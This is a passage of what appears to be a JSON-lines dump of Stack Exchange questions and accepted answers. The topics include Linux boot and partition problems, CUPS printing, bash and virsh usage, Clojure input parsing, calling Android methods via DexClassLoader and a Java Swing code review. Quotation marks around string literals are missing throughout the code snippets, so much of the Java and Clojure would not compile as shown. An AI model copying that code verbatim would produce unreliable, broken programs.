bogus alignment[44436.410986] pci_bus 0000:01: Allocating resources[44436.411010] pci_bus 0000:02: Allocating resources[44436.411064] pci_bus 0000:03: Allocating resources[44436.411081] i915 0000:00:02.0: BAR 6: [??? 0x00000000 flags 0x2] has bogus alignment[44436.411119] i915 0000:00:02.0: BAR 6: [??? 0x00000000 flags 0x2] has bogus alignment[44436.411180] i915 0000:00:02.0: BAR 6: [??? 0x00000000 flags 0x2] has bogus alignment[44436.411200] i915 0000:00:02.0: BAR 6: [??? 0x00000000 flags 0x2] has bogus alignment[44436.411311] i915 0000:00:02.0: BAR 6: [??? 0x00000000 flags 0x2] has bogus alignment[44436.425615] done.How can I fix it?" , "title": "Intel Graphic error: i915 [...] has bogus alignment" , "tags": "debian;suspend;intel graphics" } { "id": "_unix.184871" , "question": "I have Arch, Ubuntu, and GRUB2 installed on a BTRFS filesystem. I'm aware that GRUB cannot write to BTRFS for a variety of good reasons, and therefore cannot save environment variables to /boot/grub/grubenv.I have un-used space at the start and at the end of my disk (due to alignment), and I'm led to believe that the BTRFS file system has some kind of arbitrary storage area too.Is there some way I can configure GRUB to use any of these areas to store persisntent environment variables, instead of it trying (and failing) to use the /boot/grub/grubenv file?" , "title": "Configure where GRUB2 environment block is located" , "tags": "grub2;environment variables;btrfs" } { "id": "_softwareengineering.74249" , "question": "I have a huge program that I have been developing for almost 2 years. It will probably go commercial in about 6-9 months, but seeing as it is just me developing it, I'd had almost zero feedback about the code (efficiency, maintainability, proper use of best practices, etc.). I would really like to have someone or several people review it for feedback.So:Are there places that I can get this service. Are sites like oDesk the way to go?Is it safe? Would an NDA be sufficient to protect IP or are there other ways of going about protecting IP?Are there particular qualities I should look at in a reviewer, other than they know the language and maybe some of the issues?In fact, I don't even know if the 3 questions above are the right ones to ask and I should be asking different ones first.Any advice on this subject?" , "title": "Is Open Market Code Review a Good Idea?" , "tags": "code reviews" } { "id": "_cogsci.10302" , "question": "I quite enjoy playing games which requires many repetitions of the level in order to get right. These games are often constant-speed scrolling obstacle-course type games where the player must navigate obstacles correctly to finish the level. Often many of repetitions of the level are necessary. For example, geometry dash (not affiliated with them at all, I promise!).I often wonder if there are any benefits to playing these games. I know that the repetitive nature creates neural pathways in the brain, but I don't think this newly developed ability is going to be used outside of one game in particular. A friend of mine mentioned that perhaps these games would improve neuroplasticity, and some research indicates that certain types of games do have cognitive health benefits, (for example, in older adults). However, I haven't been able to find any information about this type of game in particular.Do these types of repetitive games have any neurological benefit outside of an improved ability to play a particular game?" , "title": "What benefit is there to playing highly repetitive games?" , "tags": "video games" , "accepted_answer": "Lumosity has a research section that explains how their repetitive games help in day-to-day activities. They claim it's peer reviewed, although all of the papers are published to their site. However, Science based medicine had this to say about a study with games similar to Lumosity...This one study, of course, is not definitive. It is possible that more training is needed before significant benefits are seen. Perhaps video games are more effective because they are more engaging and players will spend more time playing.What this study shows, however, is that products sold as brain training games had no documented benefits after six weeks of use.Putting this study into the context of the overall research, it does make us more cautious about concluding that there are general cognitive benefits to brain training games or entertainment video games. Benefits are likely to be closely related to the specific tasks involved in training, and not transfer to unrelated tasks.But there is already enough published evidence showing visual tracking, multitasking, and executive function benefits from action and strategic video games respectively that this study will not be the final word. When there is conflicting research, more study is needed.This study is most applicable to brain training products, and shows that the marketing claims for these products are not justified. There is very unlikely to be any benefit, or any specific advantage, to scientifically designed brain training applications. For now, you are better off just playing a video game.So, more or less, there isn't any information suggesting that these repetitive brain games actually help develop skills outside of learning to play the game better." } { "id": "_softwareengineering.149310" , "question": "I have a list of temperature levels (0 - 30 degrees) in different parts of a city. I would like to visualize the different temperature levels in the different parts of the city. Hot places should be displayed in red and cold ones blue. If the user zoom out he will get the avarage temperature color of the city and if zoomed in he will get the average color of the temperate color of that place.I think that what I need is referred to as heatmaps. Is that the correct?I am not too expert in visualization techniques and would appreciate explanatory pseudocode to illustrate the internal workings and main building blocks for heatmap algorithms, and how I could handle the zooming." , "title": "Visualizing temperature levels across a city" , "tags": "visualization;heatmap" , "accepted_answer": "That sort of thing is exactly what a heatmap is for. As to how to build one, think about a collection of points on the map laid out in a grid. Each point has a temperature associated with it; you then map each temperature value to a color, say withRed: 80Orange: 70and so on. That's your basic heatmap.Now, in the real world you don't generally have exactly rectangular grids, so you have to interpolate. That means finding the nearest points for which you have data and computing an assumed temperature based on some rule. Usually this would be linear -- that is, if you want to compute the value for a point halfway between two other points, you would assign it half the difference in temperatures.This looks like a decent article here: http://www.spatialanalysisonline.com/Output/ContentsFiguresAndTables.html?n=GridInteAndCont.htmlNow, when you do the zooming, all you do is compute a new matrix of numbers for the new grid, map the old vertices to the new grid vertex and average the values." } { "id": "_cogsci.13905" , "question": "Is there any evidence that a little bit of inner anger is healthy when engaging in problem solving? I personally feel this way, but feel that people around me misinterpret my anger as being directed at them and the world around me instead of at the problem I'm trying to solve. Thanks." , "title": "Anger and problem solving" , "tags": "problem solving;mood" } { "id": "_codereview.36672" , "question": "I've been playing around with Clojure for a while now, and one of the tasks I occasionally find awkward is parsing input. For example, I took part in the facebook hacker cup recently, where part of the challenge was to read input like this:54..##..##........4..##..###.......4#####..##..#####5####################.....5#########################Where the first line is the number of cases to follow and the first line of each case is the number of lines in that case. It seems fairly obvious to me that the output of parsing this should be a list of cases, but there's no obvious way to know when to split the data without reading part of the data first. (In this particular case I know I could look for lines with numbers vs. lines with #s, but I'm more interested in a general solution)I ended up implementing this like:(defn read-stdin [] (line-seq (java.io.BufferedReader. *in*)))(defn my-iterate [f n input] Calls iterate on input and returns the final result (nth (iterate f input) n))(defn parse-grid Parses a text grid of .s and #s and returns a set of coord pairs for each # element [lines] (set (filter identity (for [[row line] (map-indexed vector lines) [col c] (map-indexed vector line)] (if (= c \\#) [row col] nil)))))(defn parse-case Takes a case-array and some lines, parses out a single case, adds it to the case-array and returns along with the remainder of the lines. Meant to be used with iterate [[cases [first-line & lines]]] (let [problem-size (read-string first-line)] [(conj cases {:size problem-size :blacks (parse-grid (take problem-size lines))}), (drop problem-size lines)]))(defn parse-cases [[first-line & rest-lines]] (let [num-cases (read-string first-line)] (first (my-iterate parse-case num-cases [[] rest-lines]))))(def read-cases-stdin (comp parse-cases read-stdin))The parse-case function is my main worry here - it feels really awkward to have to return a vector of the current case list and the rest of the input, and have to deal with unpacking it again on the next iteration of the function. Is there a more idiomatic way of going about doing this?Any other general feedback on my code would also be welcome." , "title": "Idiomatic input parsing in clojure" , "tags": "clojure" , "accepted_answer": "I think your main problem is that you're using iterate where partitioning and mapping would work just fine.I would create a simple helper function that splits the input line-seq into cases. Normally you could use partition for this, but since the number of lines can vary from case to case, you would have to use loop/recur. (See my split-cases function below. Also, note that we don't really care about the number of cases on the first line; we completely ignore it via destructuring.)Now, believe it or not, all you have to do is map your parse-grid function over the result of (split-cases ...) and you'll end up with a list of sets of coordinates, one for each case. I think your parse-grid function is very nice. It's concise and it makes good use of map-indexed and destructuring. The only thing I would tweak is that I would leverage the built-in :when syntax of Clojure's for macro to filter out the coordinates of the non-# characters. Then you can take out the filter identity part because there are no longer any nil values to remove.So, here is how I would revise your code:(defn split-cases [[_ & lines]] Returns a seq of cases, each of which is a seq of #/. lines. (loop [result [] [number-of-lines & lines] lines] (if (seq lines) (recur (conj result (take number-of-lines lines)) (drop number-of-lines lines)) result)))(defn parse-grid [grid] Parses a text grid of .s and #s and returns a set of coord pairs for each # element (set (for [[row line] (map-indexed vector grid) [col c] (map-indexed vector line)] :when (= c \\#)] [row col])))(defn read-stdin [] (line-seq (java.io.BufferedReader. *in*)))(defn parse-cases-stdin [] (map parse-grid (split-cases (read-stdin))))" } { "id": "_unix.322772" , "question": "We have two different Kyocera printers running for printing invoices. The invoices are PDF files that have been generated by wkhtmltopdf (previously dompdf with the same issues). Printing these invoices used to work fine, but suddenly without any interference only part of the files are printed. Different invoices result in different but all still broken prints. I'm talking about e.g. four lines of text and a single rectangle, or the lines of a table and the image header only.CUPS, which I'm using to print, shows me the following error for each PDF:W [12/Nov/2016:09:45:01 +0100] [Job 80] /var/spool/cups/d00080-001: file is damagedW [12/Nov/2016:09:45:01 +0100] [Job 80] /var/spool/cups/d00080-001 (file position 34956): xref not foundW [12/Nov/2016:09:45:01 +0100] [Job 80] /var/spool/cups/d00080-001: Attempting to reconstruct cross-reference tableI am clueless as to why this happens, as every other PDF reader can show generated invoices just fine. Printing the same files with Acrobat Reader will not cause any of these problems.What part of the system is causing this problem? How did this start happening suddenly without me (the only one touching the printing system) even being at the office. Is there a workaround?PS: The printers are a Kyocera ECOSYS P2135dn and a Kyocera FS-1370DN. Both using their identically named official driver installed from the kyocera website. I am running Ubuntu 16.04 LTS with CUPS 2.1.3." , "title": "Printing PDF with CUPS" , "tags": "ubuntu;pdf;printing;cups" } { "id": "_cs.69354" , "question": "imho this is not at all a duplicate, because the other question does not address the recursive case $T(d,n) = ....T(d-1,T(d-1,n))....$, which appears to be part of the Taylor expansion of this function. Also I don't know how to write this as a Taylor expansion. If I would, I would still not know how to solve this specific instance.Consider the following function. Maybe it could be more efficient, but I'm only interested in the output value, not the runtime complexity. All variables are whole numbers.function branch(currentDepth, maxDepth, n, k) { if (currentDepth == maxDepth) { return n; } sum = 0; for (i=0; i<=k; i++) { tmpN = branch(currentDepth+1, maxDepth, n, i); sum += branch(currentDepth+1, maxDepth, tmpN, k-i); } return sum;}For $2 < k << n$ and $2 < d = O(\\log n)$, is there a formula in terms of $d$, $k$ and $n$ (either exact, big-O or Theta), that predicts the output forbranch(0, d, n, k);Will it be exponential in $n$? Can we maybe solve this for small $k$? ($k\\le7$).Application: the output value is a factor of the runtime complexity of a Fixed Parameter algorithm I made up, but I don't think it will beat existing algorithms. However I still wanted this solved." , "title": "Can the output value be solved and/or written as Taylor expansion?" , "tags": "time complexity;recurrence relation" , "accepted_answer": "It is better to use as parameters maxDepth-currentDepth, n, k. Call the resulting function $f_k(d,n)$.When $k = 0$,$$f_0(d,n) = \\begin{cases}n & d = 0, \\\\f_0(d-1,f_0(d-1,n)) & d > 0.\\end{cases}$$You can prove by induction that the solution is $f_0(d,n) = n$.When $k=1$,$$f_1(d,n) = \\begin{cases}n & d = 0, \\\\f_1(d-1,f_0(d-1,n)) + f_0(d-1,f_1(d-1,n)) & d > 0,\\end{cases}$$which reduces to$$f_1(d,n) = \\begin{cases}n & d = 0, \\\\2f_1(d-1,n) & d > 0.\\end{cases}$$The solution is$$f_1(d,n) = 2^d n.$$When $k = 2$, using the preceding formulas we get$$f_2(d,n) = \\begin{cases}n & d=0, \\\\2f_2(d-1,n) + 4^{d-1} n & d > 0.\\end{cases}$$Unrolling the recursion gives$$\\begin{align*}f_2(d,n) &= 4^{d-1} n + 2\\cdot 4^{d-2} n + 2^2 \\cdot 4^{d-3} n + \\cdots + 2^{d-1} n + 2^d n \\\\ &=(2^{2d-2} + 2^{2d-3} + \\cdots + 2^{d-1}+2^d) n \\\\ &=(2^d+1)2^{d-1} n.\\end{align*}$$Let us approximate this by $2^{2d-1}n$.When $k = 3$, the preceding formulas show that$$f_3(d,n) \\approx\\begin{cases}n & d = 0, \\\\2f_3(d-1,n) + 2^{3d} n & d > 0.\\end{cases}$$Unrolling the recursion gives$$f_3(d,n) \\approx (2^{3d} + 2^{3(d-1)+1} + 2^{3(d-2)+2} + \\cdots + 2^{3(1)+d-1} + 2^d)n \\approx \\frac{4}{3} 2^{3d}n. $$Continuing in this way, we find that up to constants, if $f_k(d,n) = \\Theta(2^{r_kd}n)$ then $r_{k+1} = \\max_{1 \\leq \\ell \\leq k} (r_\\ell + r_{k+1-\\ell})$ (except for the base cases $k \\leq 1$). For example, we have$$\\begin{align*}&r_0 = 0 \\\\&r_1 = 1 \\\\&r_2 = 2 \\\\&r_3 = 3 \\\\&r_4 = 4\\end{align*}$$and so on. Indeed, induction shows that $f_k(d,n) = \\Theta_k(2^{kd}n)$. With more effort, we could estimate the hidden constant." } { "id": "_softwareengineering.119625" , "question": "I've got a question concerning node.js performance.There is quite lot of benchmarks and a lot of fuss about great performance of node.js. But how does it stand in real world? Not just process empty request at high speed.If someone could try to compare this scenario:Java (or equivalent) server running an application with complex business logic between receiving request and sending response.How would node.js deal with it? If there was need for a lot of JavaScript processing on server side, is node.js really so fast that it can execute JavaScript, and stand a chance against more heavyveight competitors?" , "title": "Real performance of node.js" , "tags": "node.js" } { "id": "_unix.1381" , "question": "since OpenSolaris is more or less abandoned by Oracle, is there a nice alternative that implements the unique features of OSOL? ZFS is one thing, but I liked the image creation system, that let you create images of a master system and then distribute it quickly to other computers. This was an effort to simplify creation of clusters.According to the Wikipedia page of OSOL, there's Illumos, which is a fork of OSOL, with all closed source parts replaced by open source parts. Illumos is in active development.But is Illumos an alternative to OSOL, with all it's features? Is anyone using it and could tell us his or hers experiences?" , "title": "The future of OpenSolaris" , "tags": "solaris;history;zfs;opensolaris" , "accepted_answer": "Illumos is not a full replacement to OSOL and I don't think it will be in the future since it's intended to be a base from which others can build a distribution. But check the Nexenta OS, this system is heavily based on OSOL and they are one of the main sponsors behind the Illumos project. Although I haven't used it personally and I wouldn't know whether it has what you need." } { "id": "_webapps.13042" , "question": "If we archive a mail in gmail, is storage saved?I mean, is the file compressed well? Gmail can search in archived mail. If it was really compressed, the searching was very hard job. But they can. So I'm very curious about what gmail's archive mean." , "title": "Can gmail's archive feature save storage?" , "tags": "gmail;gmail archive" , "accepted_answer": "Google is probably doing something to save space. Maybe they are indexing and then compressing (older) emails. But your space usage is counted from non-compressed emails.So in short: archiving do not save your space at all.Whole point of Archive is to move email from inbox. Point is that whatever is in your inbox is something important you should react on, and other things are archived." } { "id": "_unix.364164" , "question": "For a few days i'm breaking my head over the following:the partition table is reported to be messed up, but it's not.grub-legacy gives problems with some partitions during actual boot-up, but not when invoked in a shell when linux is up-and-running.I suspect the two symptoms are related, but i'm not sure.Background information:Grub-legacy has been booting from an XFS on /dev/sda4 a.k.a. (hd0,3) for years without trouble.Things got messed up when resizing the FAT32 filesystem on sda1 using Gparted (apparently there is a bug in libparted 3.2 responsible for this). Suddenly grub couldn't access sda4 anymore.Here is the output from fdisk concerning th broken-not-broken partition table:Welcome to fdisk (util-linux 2.27.1).Changes will remain in memory only, until you decide to write them.Be careful before using the write command.Command (m for help): pDisk /dev/sda: 74.5 GiB, 80026361856 bytes, 156301488 sectorsUnits: sectors of 1 * 512 = 512 bytesSector size (logical/physical): 512 bytes / 512 bytesI/O size (minimum/optimal): 512 bytes / 512 bytesDisklabel type: dosDisk identifier: 0x85068506Device Boot Start End Sectors Size Id Type/dev/sda1 2048 8390655 8388608 4G c W95 FAT32 (LBA)/dev/sda2 * 8390656 29296639 20905984 10G 7 HPFS/NTFS/exFAT/dev/sda3 29296640 136712191 107415552 51.2G f W95 Ext'd (LBA)/dev/sda4 136712192 156301487 19589296 9.3G 83 Linux/dev/sda5 29298688 33492991 4194304 2G 83 Linux/dev/sda6 33495040 75438079 41943040 20G 83 Linux/dev/sda7 75440128 83828735 8388608 4G 83 Linux/dev/sda8 83830784 88025087 4194304 2G 83 Linux/dev/sda9 88027136 94318591 6291456 3G 82 Linux swapPartition table entries are not in disk order.Command (m for help): xExpert command (m for help): fNothing to do. Ordering is correct already.parted lists the partition table as follows:# parted /dev/sda unit s print free Model: ATA WDC WD800JB-00JJ (scsi)Disk /dev/sda: 156301488sSector size (logical/physical): 512B/512BPartition Table: msdosDisk Flags: Number Start End Size Type File system Flags 63s 2047s 1985s Free Space 1 2048s 8390655s 8388608s primary fat32 boot, lba 2 8390656s 29296639s 20905984s primary ntfs 3 29296640s 136712191s 107415552s extended lba 5 29298688s 33492991s 4194304s logical ext2 6 33495040s 75438079s 41943040s logical ext3 7 75440128s 83828735s 8388608s logical ext3 8 83830784s 88025087s 4194304s logical ext3 9 88027136s 94318591s 6291456s logical linux-swap(v1) 94318592s 136712191s 42393600s Free Space 4 136712192s 156301487s 19589296s primary ext2About grub during boot-up:it reports Error 5: partition table invalid or corrupt for sda7 and sda8.it reports Filesystem type unknown for sda4, though it's a simple ext2 (by now).I've searched many many forums/wikis/etc, but haven't solved this puzzle yet.I've only come to realise my partition table is 1MiB-aligned (hence the 2048 sector gaps).I've done some partition deletion/recreation/reformatting/checking etc, without success.I'm running slackware 14.2 (salix, actually) with kernel 3.10. All linux filesystems are ext2 or ext3.I'm very curious to find the cause of these symptoms. Please help me to tackle this." , "title": "fdisk: partition table not in disk order but Order is correct already? and GRUB-legacy issues" , "tags": "grub legacy;partition table" } { "id": "_webapps.53898" , "question": "I want to know how people write in their status continue reading at the end, which is actually a link to their page?" , "title": "How do people write in their status continue reading?" , "tags": "facebook;facebook pages" } { "id": "_unix.285259" , "question": "In bash, I have an array containing a list of links, e.g.http://xkcd.com/archivehttp://what-if.xkcd.com/http://blag.xkcd.com/http://store.xkcd.com/I also have a variable named $URL. I would like to set the variable $URL to a random item in the list." , "title": "Set variable to random item in array" , "tags": "shell script" , "accepted_answer": "You could use RANDOM variable defined by bash:URL=${URLLIST[ $(( RANDOM % ${#URLLIST[@]} )) ] }where URLLIST is the an array containng your urls:URLLIST=( \\ http://xkcd.com/archive \\ http://what-if.xkcd.com/ \\ http://blag.xkcd.com/ \\ http://store.xkcd.com/ \\)" } { "id": "_unix.300113" , "question": "virsh list returns an empty list but the gui virt-manager has 2 defined QEMU/KVM virtual machines. How come virsh list doesn't list anythng ?" , "title": "How to list domains in virsh?" , "tags": "virtual machine" , "accepted_answer": "The virsh list command only runs things running.If you want things defined but not running thenvirsh list --allAnd remember each type of namespace is distinct so you may need --connect as welle.g.$ virsh -c lxc:/// list Id Name State----------------------------------------------------$ virsh -c lxc:/// list --all Id Name State---------------------------------------------------- - helloworld shut off$ virsh -c qemu:///system list Id Name State---------------------------------------------------- 37 fedora24 running$ virsh -c qemu:///system list --all Id Name State---------------------------------------------------- 37 fedora24 running - docker shut off - kali shut off - test1 shut off" } { "id": "_unix.189251" , "question": "How can I read a dash file from the terminal other than delimiting it with ./For example to read a - file we can read it by cat ./-file_nameQ: Is there an alternative way to achieve the same thing? " , "title": "How to read dash files" , "tags": "bash;cat" , "accepted_answer": "For commands which get input from stdin, you can use redirection:cat <-file_name" } { "id": "_softwareengineering.164419" , "question": "Context: I'm taking several classes this semester in which I'll be coding. Here is a list of possible languages I'll be using:JavaC (system and embedded level)C++ (contest programming)VHDL (for FPGA work)PythonSchemeIs it possible to keep all these languages floating around in one's head? How can one code without having to look up reference material every time they start working?" , "title": "When using several languages for different projects, how do you keep the different syntaxes straight?" , "tags": "programming languages" , "accepted_answer": "C++ alone is a massive language as is Java. I could reasonably expect a skilled, veteran to remember all of Scheme, Python, or C but there is no shame to be had in using references. I'd argue that learning generically applicable programming techniques and remembering the elements of style for each language over trying to remember the entire syntax. I'm not sure that's possible in some cases, particularly given how much languages can change.I work at a technical bookstore and I routinely sell reference manuals to skilled, experienced professionals. Better to have knowledge that there is such a technique for thing x and not remember the exact syntax or semantics than to not know that thing x exists. That's why these things exist. You are plugging along and think I know of something that would work nicely here and perhaps you find it to be wrong for that language but the reference if it's any good and you've a solid grasp on the fundamentals will give you pointers (sometimes literally) toward a solution." } { "id": "_webapps.100855" , "question": "In Google Sheets I have a search box that brings up the information for a person when you type in their id. It works perfectly up until ID 512, which is row 374. The formula below is what I use.=IFERROR(VLOOKUP(C3,'Main Database'!B21:S590,3,True),)" , "title": "VLookup Stops Working After 500 Rows" , "tags": "google spreadsheets" } { "id": "_unix.254709" , "question": "From A Practical Guide to Linux Commands, Editors, and ShellProgramming By Mark G. SobellAlthough you can use bash to execute a shell script, this technique causes the script to run more slowly than giving yourself execute permission and directly invoking the script.Why is that?How is running a script like an executable different from running itby a shell explicitly?Do both follow the same steps as:A command on the command line causes the shell to fork a new process, creating a duplicate of the shell process (a subshell). The new process attempts to exec (execute) the command. Like fork, the exec routine is executed by the operating system (a system call). Because the command is a shell script, exec fails. When exec fails, the command is assumed to be a shell script, and the subshell runs the commands in the script. Unlike a login shell, which expects input from the command line, the subshell takes its input from a filenamely, the shell script." , "title": "How is running a script like an executable different from running it by a shell explicitly?" , "tags": "bash" } { "id": "_reverseengineering.13873" , "question": "I want to ask if somebody is aware of tools/projects which are similar to the Appcall feature of IDA Pro[1] for Android Apps?I'm looking for the possibility to run certain methods detected in the smali code without running the whole APK.Thanks in advance for your help :-)[1] http://www.hexblog.com/?p=113" , "title": "Call Android method without running whole Android-App" , "tags": "android;gdb;dynamic analysis" , "accepted_answer": "You should be able to write a separate application that dynamically loads the dex file from the app that you are interested in using DexClassLoader, allowing you to construct classes and call methods from that dex file. You can get the path to the other apk using PackageManager.getApplicationInfo(). The sourceDir field of the returned ApplicationInfo object will have the path to the apk." } { "id": "_webapps.84853" , "question": "I cannot set profile picture visibility for one of my profiles in Gmail. I have tried following this guide. I have also looked at How do I change my Gmail profile picture?The problem I am facing is as follows:Only one accout of two is affected. For the accout that is functioning normally I can upload the picture and then set the visibility as shown on a screenshot below:For affected account I can upload the picture, but visibility options are not present:Notes:My preferred option is Visible to everyone. But when options are not visible, the behavior defaults to not visible to anyone at all even myself.Both accounts names have the same form: xyz.abcdef@gmail.comI don't have Google+ account and don't want to create oneWhat I have tried so far:Removing picture completely, signing out and trying again (no luck)Acccessing gmail from older HTML version of app (no option to upload the picture)Sending feedback to Google (waiting for response)" , "title": "Gmail profile picture visibility" , "tags": "gmail;profile picture" } { "id": "_unix.38105" , "question": "Can a partition have a UUID without a filesystem?" , "title": "Can unformatted partitions have UUIDs?" , "tags": "linux;partition;block device" } { "id": "_codereview.95144" , "question": "I'm trying to focus on learning so I can get an entry level position and the best way for me to learn right now is to have someone review and provide areas of improvement. This project isn't entirely complete but almost. I am going to include the code for some of the classes but not all of them. Just a few button actions left to finish. All criticism is welcomed.public class CreateAndShowUI { public static void createUI() { Model model = new Model(); MainPanel mainPanel = new MainPanel(model, new CSVFileController(model)); JFrame frame = new JFrame(); frame.getContentPane().add(mainPanel.getMainPanel()); frame.setUndecorated(true); frame.setPreferredSize(new Dimension(1100, 550)); frame.addMouseListener(new ApplicationMouseAdapters.FrameMouseAdapter()); frame.addMouseMotionListener(new ApplicationMouseAdapters.FrameMouseMotionListener( frame)); frame.pack(); frame.setLocationRelativeTo(null); frame.setVisible(true); } public static final Font getHeaderFont() { return new Font(Consolas, Font.BOLD, 16); } public static final Font getFont() { return new Font(Consolas, Font.BOLD, 14); } public static final Font getTableFont() { return new Font(Consolas, Font.PLAIN, 16); } public static final Color getButtonColor() { return new Color(230, 230, 230); } public static void main(String[] args) { createUI(); }}The MainPanel Class which basically creates the main JPanel for the JFrame. This JPanel has two child panels and one menu bar.public class MainPanel { private Model model; private CSVFileController controller; private JPanel mainPanel; private Dialog dialog; private MenuBar menuBar; private ButtonPanel buttonPanel; private JScrollPane buttonScrollPane, listScrollPane; private JTable table; private JLabel search; private JTextField searchTF; private JButton xButton; public MainPanel(Model model, CSVFileController controller) { this.model = model; this.controller = controller; createMainPanel(); } private void createMainPanel() { mainPanel = new JPanel(new MigLayout(, , []13[])); dialog = new Dialog(); table = new JTable(new ProductTableModel()); setTableColumnWidth(table.getModel()); table.getTableHeader() .setPreferredSize( new Dimension(table.getColumnModel() .getTotalColumnWidth(), 48)); table.getTableHeader().setResizingAllowed(false); table.getTableHeader().setReorderingAllowed(false); table.getTableHeader().setFont(CreateAndShowUI.getFont()); table.setFont(CreateAndShowUI.getTableFont()); table.addMouseListener(new ApplicationMouseAdapters.TableMouseAdapter( dialog, table.getModel(), controller)); setTableEditorFont(table); menuBar = new MenuBar(); mainPanel.add(menuBar.getMenuBar()); search = new JLabel(Search); mainPanel.add(search, cell 0 0, gap 10px); searchTF = new JTextField(, 30); mainPanel.add(searchTF, cell 0 0); xButton = new JButton(new CloseAction(X)); xButton.setFocusable(false); xButton.setFont(CreateAndShowUI.getFont()); xButton.setBackground(new Color(158, 7, 7)); xButton.setForeground(Color.WHITE); mainPanel.add(xButton, cell 0 0, gap 283px, wrap); buttonPanel = new ButtonPanel(); buttonScrollPane = new JScrollPane(buttonPanel.getButtonPanel(), JScrollPane.VERTICAL_SCROLLBAR_AS_NEEDED, JScrollPane.HORIZONTAL_SCROLLBAR_NEVER); buttonScrollPane.setViewportView(buttonPanel.getButtonPanel()); buttonScrollPane.setPreferredSize(new Dimension(250, 990)); mainPanel.add(buttonScrollPane); listScrollPane = new JScrollPane(table, JScrollPane.VERTICAL_SCROLLBAR_AS_NEEDED, JScrollPane.HORIZONTAL_SCROLLBAR_NEVER); listScrollPane.setPreferredSize(new Dimension(850, 990)); mainPanel.add(listScrollPane, cell 0 1); } public JPanel getMainPanel() { return mainPanel; } public JPanel getButtonPanel() { return buttonPanel.getButtonPanel(); } public JTable getTable() { return table; } public JMenuBar getMenuBar() { return menuBar.getMenuBar(); } public final void setTableEditorFont(JTable table) { DefaultCellEditor editor = (DefaultCellEditor) table .getDefaultEditor(Object.class); Component component = editor.getComponent(); component.setFont(table.getFont()); editor.setClickCountToStart(1); } public final void setTableColumnWidth(TableModel tableModel) { final TableColumnModel columnModel = table.getColumnModel(); if (tableModel.getColumnCount() == 6) { columnModel.getColumn(0).setPreferredWidth(200); columnModel.getColumn(1).setPreferredWidth(300); columnModel.getColumn(2).setPreferredWidth(80); columnModel.getColumn(3).setPreferredWidth(75); columnModel.getColumn(4).setPreferredWidth(80); columnModel.getColumn(5).setPreferredWidth(75); } } public class ButtonPanel { private JPanel panel; public ButtonPanel() { panel = new JPanel(new MigLayout()); addButtons(); } private void addButtons() { List<Supplier> supplierList = model.getSuppliers(); for (Supplier supplier : supplierList) { JButton button = new JButton( new SupplierButtonActions.ShowSupplierProductsAction( supplier.getName(), getTable(), model)); button.setFocusable(false); button.setFont(CreateAndShowUI.getFont()); button.setBackground(CreateAndShowUI.getButtonColor()); button.setPreferredSize(new Dimension(230, 30)); button.setHorizontalAlignment(SwingConstants.CENTER); panel.add(button, wrap); } } public JPanel getButtonPanel() { return panel; } } public class MenuBar { private JMenuBar menuBar; private JMenu application, suppliers, orders; private JMenuItem viewOrders, newSupplier, addProduct, close; public MenuBar() { createMenuBar(); } private void createMenuBar() { menuBar = new JMenuBar(); close = new JMenuItem(new CloseAction(Close)); close.setPreferredSize(new Dimension(125, 25)); close.setFont(CreateAndShowUI.getHeaderFont()); application = new JMenu(Application); application.setFont(CreateAndShowUI.getHeaderFont()); application.setPreferredSize(new Dimension(125, 70)); application.add(close); menuBar.add(application); newSupplier = new JMenuItem( new DialogActions.AddSupplierPanelAction(dialog, New)); newSupplier.setPreferredSize(new Dimension(125, 25)); newSupplier.setFont(CreateAndShowUI.getHeaderFont()); addProduct = new JMenuItem(new DialogActions.AddProductPanelAction( dialog, model, Add Products)); addProduct.setPreferredSize(new Dimension(125, 25)); addProduct.setFont(CreateAndShowUI.getHeaderFont()); suppliers = new JMenu(Suppliers); suppliers.setFont(CreateAndShowUI.getHeaderFont()); suppliers.setPreferredSize(new Dimension(125, 70)); suppliers.add(newSupplier); suppliers.add(addProduct); menuBar.add(suppliers); viewOrders = new JMenuItem(View); viewOrders.setFont(CreateAndShowUI.getHeaderFont()); viewOrders.setPreferredSize(new Dimension(125, 25)); orders = new JMenu(Orders); orders.setFont(CreateAndShowUI.getHeaderFont()); orders.setPreferredSize(new Dimension(125, 70)); orders.add(viewOrders); menuBar.add(orders); } public JMenuBar getMenuBar() { return menuBar; } }}The KeywordPanel class which is one of the panels for JDialog. This panel is added dynamically to a dialog based on a specific action taken by the user. public class KeywordPanel { private CSVFileController controller; private Product product; private Dialog dialog; private JPanel keywordPanel; private JTextField[] textFields; private JLabel searchLbl; private JButton close, remove; public KeywordPanel(CSVFileController controller, Dialog dialog, Product product) { this.controller = controller; this.product = product; this.dialog = dialog; createKeywordPanel(); } public void createKeywordPanel() { keywordPanel = new JPanel(new MigLayout()); searchLbl = new JLabel(KeyWords); searchLbl.setFont(CreateAndShowUI.getFont()); keywordPanel.add(searchLbl, wrap); textFields = new JTextField[] { new JTextField(), new JTextField(), new JTextField(), new JTextField(), new JTextField() }; for (JTextField textField : textFields) { textField.setFont(CreateAndShowUI.getFont()); textField.setPreferredSize(new Dimension(242, 30)); keywordPanel.add(textField, wrap); } remove = new JButton(new KeywordPanelController.RemoveAction(Remove, controller, product)); remove.setBackground(CreateAndShowUI.getButtonColor()); remove.setFont(CreateAndShowUI.getFont()); keywordPanel.add(remove); close = new JButton(new KeywordPanelController.SaveAndCloseAction( Save & Close, controller, dialog, product, textFields)); close.setBackground(CreateAndShowUI.getButtonColor()); close.setFont(CreateAndShowUI.getFont()); keywordPanel.add(close, cell 0 6, gapx 30px);}public void setCategoryTextFields(int index, String category) { textFields[index] .addMouseListener(new KeywordPanelController.TextFieldMouseAdapter( textFields[index])); textFields[index].setEditable(false); textFields[index].setBackground(Color.WHITE); textFields[index].setText(category); } public void setLocation(int x, int y) { keywordPanel.setLocation(x, y); } public JPanel getKeywordPanel() { return keywordPanel; }}Main model for the application:public class Model { private Map<Supplier, List<Product>> supplierProductList; private List<Product> productList; public Model() { this.supplierProductList = new TreeMap<Supplier, List<Product>>(); } public void addSupplier(Supplier supplier) { if (!supplierProductList.containsKey(supplier)) { this.supplierProductList.put(supplier, new ArrayList<Product>()); } } public ArrayList<Supplier> getSuppliers() { return new ArrayList<Supplier>(supplierProductList.keySet()); } public void addProduct(String name, Product product) { for (Supplier supplier : supplierProductList.keySet()) { if (supplier.getName().equals(name) && !supplierProductList.get(name).contains(product)) { this.productList = supplierProductList.get(name); this.productList.add(product); this.supplierProductList.put(supplier, productList); } } } public void addProductList(Supplier supplier, List<Product> productList) { this.supplierProductList.put(supplier, productList); } public ArrayList<Product> getProducts(String name) { for (Supplier supplier : getSuppliers()) { if (supplier.getName().equals(name)) return new 